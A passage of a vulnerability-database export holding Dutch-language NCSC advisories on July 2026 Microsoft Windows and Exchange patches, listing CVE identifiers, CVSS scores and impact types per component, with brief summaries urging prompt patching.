CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:12.783741Z"}, {"uuid": "5a3f8271-3941-4e6e-bef3-24695f5f19eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0234", "content": "Microsoft heeft kwetsbaarheden verholpen in Exchange, zowel Online als on-premise. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich voor te doen als andere gebruiker, zich verhoogde rechten toe te kennen, mogelijk willekeurige code uit te voeren en zo toegang te krijgen tot gevoelige gegevens.\n\nDe kwetsbaarheid in Exchange Online is inmiddels door Microsoft centraal verholpen en is opgenomen ter informatie. Hiervoor zijn geen acties benodigd.\n\nDe ernstigste kwetsbaarheid in Exchange Server (on-premise) heeft een CVSS van 9.6 toegewezen gekregen en bevindt zich in Outlook Web Access. Deze kwetsbaarheid stelt een kwaadwillende in staat om een Cross-Site-Scripting-aanval (XSS) uit te voeren en zo toegang te krijgen tot de omgeving van het slachtoffer. Er is (nog) geen actief misbruik waargenomen en er is ook geen Proof-of-Concept-code (PoC) bekend, maar Microsoft geeft aan dat zij de kans op misbruik op korte termijn waarschijnlijk achten. Met name OWA-omgevingen die publiek toegankelijk zijn lopen hierdoor verhoogd risico.\n\n```\nMicrosoft Exchange Online: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54998 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Exchange Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55005 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55006 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55008 | 9.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55009 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:55.340981Z"}, {"uuid": "35805c34-e520-4443-a33d-735f95c81ed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | 